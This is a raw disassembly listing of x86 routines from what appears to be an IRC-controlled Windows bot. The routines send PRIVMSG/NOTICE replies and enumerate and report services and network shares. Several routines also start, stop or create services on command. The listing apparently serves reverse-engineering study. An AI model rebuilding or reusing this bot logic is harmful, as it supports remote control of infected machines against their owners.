arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB

loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E

loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al

loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax

loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax

loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43ADD8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------

loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43ADE8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------

loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43AE30
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 2610E42h

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4

loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_43F868
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------

loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------

loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_43F868
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43AD8C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 2660AEBh
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------

loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43AC80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 2660AEBh
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------

loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43ACE8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43AC88
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43ACEC

loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2660AEBh
		mov	ebx, eax

loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43AC9C

loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43AC9C
		pop	esi

loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump

loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_43F1A8
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------

loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_43F1A8
		call	sub_4172B0
		add	esp, 0Ch

loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_43F1A8
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43AD8C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43AD58
		test	eax, eax
		jnz	short loc_40DA25
		nop
		call	near ptr 2660AEBh
		cmp	eax, 0EAh
		jnz	loc_40DAD9

loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]

loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"

loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36

loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB

loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43AC9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------

loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax

loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch

loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30

loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F464
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_43F664, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_43F664, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_43F404, eax

loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_43F404
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_43F404
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43AC98
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43AC70
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43ACE4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------

loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43AC8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"

loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
